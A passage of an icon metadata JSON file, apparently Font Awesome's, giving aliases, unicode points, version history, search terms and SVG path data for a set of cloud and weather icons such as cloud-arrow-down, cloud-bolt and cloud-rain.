    "free": ["regular", "solid"]
  },
  "cloud": {
    "aliases": {
      "unicodes": {
        "composite": ["2601"],
        "secondary": ["10f0c2"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "atmosphere",
        "cloud",
        "fog",
        "overcast",
        "save",
        "upload",
        "weather"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0c2",
    "label": "Cloud",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 336c0 79.5 64.5 144 144 144H512c70.7 0 128-57.3 128-128c0-61.9-44-113.6-102.4-125.4c4.1-10.7 6.4-22.4 6.4-34.6c0-53-43-96-96-96c-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32C167.6 32 96 103.6 96 192c0 2.7 .1 5.4 .2 8.1C40.2 219.8 0 273.2 0 336z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 336c0 79.5 64.5 144 144 144H512c70.7 0 128-57.3 128-128c0-61.9-44-113.6-102.4-125.4c4.1-10.7 6.4-22.4 6.4-34.6c0-53-43-96-96-96c-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32C167.6 32 96 103.6 96 192c0 2.7 .1 5.4 .2 8.1C40.2 219.8 0 273.2 0 336z"
      }
    },
    "free": ["solid"]
  },
  "cloud-arrow-down": {
    "aliases": {
      "names": ["cloud-download", "cloud-download-alt"],
      "unicodes": {
        "composite": ["f381"],
        "primary": ["f381"],
        "secondary": ["10f0ed", "10f381"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["download", "export", "save"]
    },
    "styles": ["solid"],
    "unicode": "f0ed",
    "label": "Cloud Arrow Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 480C64.5 480 0 415.5 0 336c0-62.8 40.2-116.2 96.2-135.9c-.1-2.7-.2-5.4-.2-8.1c0-88.4 71.6-160 160-160c59.3 0 111 32.2 138.7 80.2C409.9 102 428.3 96 448 96c53 0 96 43 96 96c0 12.2-2.3 23.8-6.4 34.6C596 238.4 640 290.1 640 352c0 70.7-57.3 128-128 128H144zm79-167l80 80c9.4 9.4 24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-39 39V184c0-13.3-10.7-24-24-24s-24 10.7-24 24V318.1l-39-39c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 480C64.5 480 0 415.5 0 336c0-62.8 40.2-116.2 96.2-135.9c-.1-2.7-.2-5.4-.2-8.1c0-88.4 71.6-160 160-160c59.3 0 111 32.2 138.7 80.2C409.9 102 428.3 96 448 96c53 0 96 43 96 96c0 12.2-2.3 23.8-6.4 34.6C596 238.4 640 290.1 640 352c0 70.7-57.3 128-128 128H144zm79-167l80 80c9.4 9.4 24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-39 39V184c0-13.3-10.7-24-24-24s-24 10.7-24 24V318.1l-39-39c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9z"
      }
    },
    "free": ["solid"]
  },
  "cloud-arrow-up": {
    "aliases": {
      "names": ["cloud-upload", "cloud-upload-alt"],
      "unicodes": {
        "composite": ["f382"],
        "primary": ["f382"],
        "secondary": ["10f0ee", "10f382"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["import", "save", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f0ee",
    "label": "Cloud Arrow Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 480C64.5 480 0 415.5 0 336c0-62.8 40.2-116.2 96.2-135.9c-.1-2.7-.2-5.4-.2-8.1c0-88.4 71.6-160 160-160c59.3 0 111 32.2 138.7 80.2C409.9 102 428.3 96 448 96c53 0 96 43 96 96c0 12.2-2.3 23.8-6.4 34.6C596 238.4 640 290.1 640 352c0 70.7-57.3 128-128 128H144zm79-217c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V392c0 13.3 10.7 24 24 24s24-10.7 24-24V257.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-9.4-9.4-24.6-9.4-33.9 0l-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 480C64.5 480 0 415.5 0 336c0-62.8 40.2-116.2 96.2-135.9c-.1-2.7-.2-5.4-.2-8.1c0-88.4 71.6-160 160-160c59.3 0 111 32.2 138.7 80.2C409.9 102 428.3 96 448 96c53 0 96 43 96 96c0 12.2-2.3 23.8-6.4 34.6C596 238.4 640 290.1 640 352c0 70.7-57.3 128-128 128H144zm79-217c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V392c0 13.3 10.7 24 24 24s24-10.7 24-24V257.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-9.4-9.4-24.6-9.4-33.9 0l-80 80z"
      }
    },
    "free": ["solid"]
  },
  "cloud-bolt": {
    "aliases": {
      "names": ["thunderstorm"],
      "unicodes": {
        "composite": ["1f329"],
        "secondary": ["10f76c"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bolt",
        "cloud",
        "cloud with lightning",
        "lightning",
        "precipitation",
        "rain",
        "storm",
        "weather"
      ]
    },
    "styles": ["solid"],
    "unicode": "f76c",
    "label": "Cloud Bolt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 224c0 53 43 96 96 96h47.2L290 202.5c17.6-14.1 42.6-14 60.2 .2s22.8 38.6 12.8 58.8L333.7 320H352h64c53 0 96-43 96-96s-43-96-96-96c-.5 0-1.1 0-1.6 0c1.1-5.2 1.6-10.5 1.6-16c0-44.2-35.8-80-80-80c-24.3 0-46.1 10.9-60.8 28C256.5 24.3 219.1 0 176 0C114.1 0 64 50.1 64 112c0 7.1 .7 14.1 1.9 20.8C27.6 145.4 0 181.5 0 224zm330.1 3.6c-5.8-4.7-14.2-4.7-20.1-.1l-160 128c-5.3 4.2-7.4 11.4-5.1 17.8s8.3 10.7 15.1 10.7h70.1L177.7 488.8c-3.4 6.7-1.6 14.9 4.3 19.6s14.2 4.7 20.1 .1l160-128c5.3-4.2 7.4-11.4 5.1-17.8s-8.3-10.7-15.1-10.7H281.9l52.4-104.8c3.4-6.7 1.6-14.9-4.2-19.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 224c0 53 43 96 96 96h47.2L290 202.5c17.6-14.1 42.6-14 60.2 .2s22.8 38.6 12.8 58.8L333.7 320H352h64c53 0 96-43 96-96s-43-96-96-96c-.5 0-1.1 0-1.6 0c1.1-5.2 1.6-10.5 1.6-16c0-44.2-35.8-80-80-80c-24.3 0-46.1 10.9-60.8 28C256.5 24.3 219.1 0 176 0C114.1 0 64 50.1 64 112c0 7.1 .7 14.1 1.9 20.8C27.6 145.4 0 181.5 0 224zm330.1 3.6c-5.8-4.7-14.2-4.7-20.1-.1l-160 128c-5.3 4.2-7.4 11.4-5.1 17.8s8.3 10.7 15.1 10.7h70.1L177.7 488.8c-3.4 6.7-1.6 14.9 4.3 19.6s14.2 4.7 20.1 .1l160-128c5.3-4.2 7.4-11.4 5.1-17.8s-8.3-10.7-15.1-10.7H281.9l52.4-104.8c3.4-6.7 1.6-14.9-4.2-19.6z"
      }
    },
    "free": ["solid"]
  },
  "cloud-meatball": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f73b"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["FLDSMDFR", "food", "spaghetti", "storm"]
    },
    "styles": ["solid"],
    "unicode": "f73b",
    "label": "Cloud Meatball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 224c0 53 43 96 96 96h44.7c9.5-23.5 32.5-40 59.3-40c2 0 3.9 .1 5.8 .3C217.6 265.5 235.7 256 256 256s38.4 9.5 50.2 24.3c1.9-.2 3.9-.3 5.8-.3c26.9 0 49.9 16.5 59.3 40H416c53 0 96-43 96-96s-43-96-96-96c-.5 0-1.1 0-1.6 0c1.1-5.2 1.6-10.5 1.6-16c0-44.2-35.8-80-80-80c-24.3 0-46.1 10.9-60.8 28C256.5 24.3 219.1 0 176 0C114.1 0 64 50.1 64 112c0 7.1 .7 14.1 1.9 20.8C27.6 145.4 0 181.5 0 224zm288 96c0-17.7-14.3-32-32-32s-32 14.3-32 32c0 1 .1 2.1 .1 3.1c-.7-.8-1.4-1.6-2.1-2.3c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3c.7 .7 1.5 1.4 2.3 2.1c-1-.1-2.1-.1-3.1-.1c-17.7 0-32 14.3-32 32s14.3 32 32 32c1 0 2.1-.1 3.1-.1c-.8 .7-1.6 1.3-2.3 2.1c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0c.7-.7 1.4-1.5 2.1-2.3c-.1 1-.1 2.1-.1 3.1c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1-.1-2.1-.1-3.1c.7 .8 1.3 1.6 2.1 2.3c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3c-.7-.7-1.5-1.4-2.3-2.1c1 .1 2.1 .1 3.1 .1c17.7 0 32-14.3 32-32s-14.3-32-32-32c-1 0-2.1 .1-3.1 .1c.8-.7 1.6-1.3 2.3-2.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-.7 .7-1.4 1.5-2.1 2.3c.1-1 .1-2.1 .1-3.1zM48 448a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm416 0a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 224c0 53 43 96 96 96h44.7c9.5-23.5 32.5-40 59.3-40c2 0 3.9 .1 5.8 .3C217.6 265.5 235.7 256 256 256s38.4 9.5 50.2 24.3c1.9-.2 3.9-.3 5.8-.3c26.9 0 49.9 16.5 59.3 40H416c53 0 96-43 96-96s-43-96-96-96c-.5 0-1.1 0-1.6 0c1.1-5.2 1.6-10.5 1.6-16c0-44.2-35.8-80-80-80c-24.3 0-46.1 10.9-60.8 28C256.5 24.3 219.1 0 176 0C114.1 0 64 50.1 64 112c0 7.1 .7 14.1 1.9 20.8C27.6 145.4 0 181.5 0 224zm288 96c0-17.7-14.3-32-32-32s-32 14.3-32 32c0 1 .1 2.1 .1 3.1c-.7-.8-1.4-1.6-2.1-2.3c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3c.7 .7 1.5 1.4 2.3 2.1c-1-.1-2.1-.1-3.1-.1c-17.7 0-32 14.3-32 32s14.3 32 32 32c1 0 2.1-.1 3.1-.1c-.8 .7-1.6 1.3-2.3 2.1c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0c.7-.7 1.4-1.5 2.1-2.3c-.1 1-.1 2.1-.1 3.1c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1-.1-2.1-.1-3.1c.7 .8 1.3 1.6 2.1 2.3c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3c-.7-.7-1.5-1.4-2.3-2.1c1 .1 2.1 .1 3.1 .1c17.7 0 32-14.3 32-32s-14.3-32-32-32c-1 0-2.1 .1-3.1 .1c.8-.7 1.6-1.3 2.3-2.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-.7 .7-1.4 1.5-2.1 2.3c.1-1 .1-2.1 .1-3.1zM48 448a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm416 0a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "cloud-moon": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6c3"]
      }
    },
    "changes": ["5.4.0", "5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["crescent", "evening", "lunar", "night", "partly cloudy", "sky"]
    },
    "styles": ["solid"],
    "unicode": "f6c3",
    "label": "Cloud Moon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M495.8 0c5.5 0 10.9 .2 16.3 .7c7 .6 12.8 5.7 14.3 12.5s-1.6 13.9-7.7 17.3c-44.4 25.2-74.4 73-74.4 127.8c0 81 65.5 146.6 146.2 146.6c8.6 0 17-.7 25.1-2.1c6.9-1.2 13.8 2.2 17 8.5s1.9 13.8-3.1 18.7c-34.5 33.6-81.7 54.4-133.6 54.4c-9.3 0-18.4-.7-27.4-1.9c-11.2-22.6-29.8-40.9-52.6-51.7c-2.7-58.5-50.3-105.3-109.2-106.7c-1.7-10.4-2.6-21-2.6-31.8C304 86.1 389.8 0 495.8 0zM447.9 431.9c0 44.2-35.8 80-80 80H96c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M495.8 0c5.5 0 10.9 .2 16.3 .7c7 .6 12.8 5.7 14.3 12.5s-1.6 13.9-7.7 17.3c-44.4 25.2-74.4 73-74.4 127.8c0 81 65.5 146.6 146.2 146.6c8.6 0 17-.7 25.1-2.1c6.9-1.2 13.8 2.2 17 8.5s1.9 13.8-3.1 18.7c-34.5 33.6-81.7 54.4-133.6 54.4c-9.3 0-18.4-.7-27.4-1.9c-11.2-22.6-29.8-40.9-52.6-51.7c-2.7-58.5-50.3-105.3-109.2-106.7c-1.7-10.4-2.6-21-2.6-31.8C304 86.1 389.8 0 495.8 0zM447.9 431.9c0 44.2-35.8 80-80 80H96c-53 0-96-43-96-96c0-47.6 34.6-87 80-94.6l0-1.3c0-53 43-96 96-96c34.9 0 65.4 18.6 82.2 46.4c13-9.1 28.8-14.4 45.8-14.4c44.2 0 80 35.8 80 80c0 5.9-.6 11.7-1.9 17.2c37.4 6.7 65.8 39.4 65.8 78.7z"
      }
    },
    "free": ["solid"]
  },
  "cloud-moon-rain": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f73c"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "crescent",
        "evening",
        "lunar",
        "night",
        "partly cloudy",
        "precipitation",
        "rain",
        "sky",
        "storm"
      ]
    },
    "styles": ["solid"],
    "unicode": "f73c",
    "label": "Cloud Moon Rain",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M481.2 0C417 0 363.5 46.5 353.7 107.6c35.4 17.6 60.2 53.3 62.1 95.1c23.2 11 42 29.7 53.1 52.7c4 .4 8.1 .6 12.3 .6c34.9 0 66.7-13.8 89.9-36.1c5.1-4.9 6.4-12.5 3.2-18.7s-10.1-9.7-17-8.6c-4.9 .8-10 1.3-15.2 1.3c-49 0-88.4-39.3-88.4-87.4c0-32.6 18-61.1 44.9-76.1c6.1-3.4 9.3-10.5 7.8-17.4s-7.3-12-14.3-12.6c-3.6-.3-7.3-.5-10.9-.5zM367.9 383.9c44.2 0 80-35.8 80-80c0-39.3-28.4-72.1-65.8-78.7c1.2-5.6 1.9-11.3 1.9-17.2c0-44.2-35.8-80-80-80c-17 0-32.8 5.3-45.8 14.4C241.3 114.6 210.8 96 176 96c-53 0-96 43-96 96l0 1.3c-45.4 7.6-80 47.1-80 94.6c0 53 43 96 96 96H367.9zM85.4 420.1c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M481.2 0C417 0 363.5 46.5 353.7 107.6c35.4 17.6 60.2 53.3 62.1 95.1c23.2 11 42 29.7 53.1 52.7c4 .4 8.1 .6 12.3 .6c34.9 0 66.7-13.8 89.9-36.1c5.1-4.9 6.4-12.5 3.2-18.7s-10.1-9.7-17-8.6c-4.9 .8-10 1.3-15.2 1.3c-49 0-88.4-39.3-88.4-87.4c0-32.6 18-61.1 44.9-76.1c6.1-3.4 9.3-10.5 7.8-17.4s-7.3-12-14.3-12.6c-3.6-.3-7.3-.5-10.9-.5zM367.9 383.9c44.2 0 80-35.8 80-80c0-39.3-28.4-72.1-65.8-78.7c1.2-5.6 1.9-11.3 1.9-17.2c0-44.2-35.8-80-80-80c-17 0-32.8 5.3-45.8 14.4C241.3 114.6 210.8 96 176 96c-53 0-96 43-96 96l0 1.3c-45.4 7.6-80 47.1-80 94.6c0 53 43 96 96 96H367.9zM85.4 420.1c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3zm96 0c-11-7.4-25.9-4.4-33.3 6.7l-32 48c-7.4 11-4.4 25.9 6.7 33.3s25.9 4.4 33.3-6.7l32-48c7.4-11 4.4-25.9-6.7-33.3z"
      }
    },
    "free": ["solid"]
  },
  "cloud-rain": {
    "aliases": {
      "unicodes": {
        "composite": ["1f327", "26c6"],
        "secondary": ["10f73d"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Rain",
        "cloud",
        "cloud with rain",
        "precipitation",
        "rain",
        "sky",
        "storm"
      ]
    },
    "styles": ["solid"],
    "unicode": "f73d",
    "label": "Cloud Rain",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 320c-53 0-96-43-96-96c0-42.5 27.6-78.6 65.9-91.2C64.7 126.1 64 119.1 64 112C64 50.1 114.1 0 176 0c43.1 0 80.5 24.3 99.2 60c14.7-17.1 36.5-28 60.8-28c44.2 0 80 35.8 80 80c0 5.5-.6 10.8-1.6 16c.5 0 1.1 0 1.6 0c53 0 96 43 96 96s-43 96-96 96H96zm-6.8 52c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3L89.2 372zm160 0c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3L249.2 372zm124.9 64.6L409.2 372c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 320c-53 0-96-43-96-96c0-42.5 27.6-78.6 65.9-91.2C64.7 126.1 64 119.1 64 112C64 50.1 114.1 0 176 0c43.1 0 80.5 24.3 99.2 60c14.7-17.1 36.5-28 60.8-28c44.2 0 80 35.8 80 80c0 5.5-.6 10.8-1.6 16c.5 0 1.1 0 1.6 0c53 0 96 43 96 96s-43 96-96 96H96zm-6.8 52c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3L89.2 372zm160 0c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3L249.2 372zm124.9 64.6L409.2 372c1.3-2.5 3.9-4 6.8-4s5.4 1.5 6.8 4l35.1 64.6c4.1 7.5 6.2 15.8 6.2 24.3v3c0 26.5-21.5 48-48 48s-48-21.5-48-48v-3c0-8.5 2.1-16.9 6.2-24.3z"
      }
    },
    "free": ["solid"]
  },
  "cloud-showers-heavy": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f740"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["precipitation", "rain", "sky", "storm"]
    },
    "styles": ["solid"],
    "unicode": "f740",
    "label": "Cloud Showers Heavy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 320c-53 0-96-43-96-96c0-42.5 27.6-78.6 65.9-91.2C64.7 126.1 64 119.1 64 112C64 50.1 114.1 0 176 0c43.1 0 80.5 24.3 99.2 60c14.7-17.1 36.5-28 60.8-28c44.2 0 80 35.8 80 80c0 5.5-.6 10.8-1.6 16c.5 0 1.1 0 1.6 0c53 0 96 43 96 96s-43 96-96 96H96zM81.5 353.9c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6S-3.3 490.7 1.9 478.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6zm120 0c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6zm244.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6s17.8 19.3 12.6 31.5zM313.5 353.9c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 320c-53 0-96-43-96-96c0-42.5 27.6-78.6 65.9-91.2C64.7 126.1 64 119.1 64 112C64 50.1 114.1 0 176 0c43.1 0 80.5 24.3 99.2 60c14.7-17.1 36.5-28 60.8-28c44.2 0 80 35.8 80 80c0 5.5-.6 10.8-1.6 16c.5 0 1.1 0 1.6 0c53 0 96 43 96 96s-43 96-96 96H96zM81.5 353.9c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6S-3.3 490.7 1.9 478.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6zm120 0c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6zm244.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6s17.8 19.3 12.6 31.5zM313.5 353.9c12.2 5.2 17.8 19.3 12.6 31.5l-48 112c-5.2 12.2-19.3 17.8-31.5 12.6s-17.8-19.3-12.6-31.5l48-112c5.2-12.2 19.3-17.8 31.5-12.6z"
      }
    },
    "free": ["solid"]
  },
  "cloud-showers-water": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cloud", "deluge", "flood", "rain", "storm", "surge"]
    },
    "styles": ["solid"],
    "unicode": "e4e4",
    "label": "Cloud Showers Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M224 0c38.6 0 71.9 22.8 87.2 55.7C325.7 41.1 345.8 32 368 32c38.7 0 71 27.5 78.4 64H448c35.3 0 64 28.7 64 64s-28.7 64-64 64H128c-35.3 0-64-28.7-64-64s28.7-64 64-64c0-53 43-96 96-96zM140.6 292.3l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2s15.1 21.6 8.2 32.9zm327.8-32.9c11.4 6.8 15 21.6 8.2 32.9l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2zM252.6 292.3l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2s15.1 21.6 8.2 32.9zm103.8-32.9c11.4 6.8 15 21.6 8.2 32.9l-48 80c-6.8 11.4-21.6 15-32.9 8.2s-15.1-21.6-8.2-32.9l48-80c6.8-11.4 21.6-15.1 32.9-8.2zM306.5 421.9C329 437.4 356.5 448 384 448c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 501.7 417 512 384 512c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 437.2 165.1 448 192 448c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
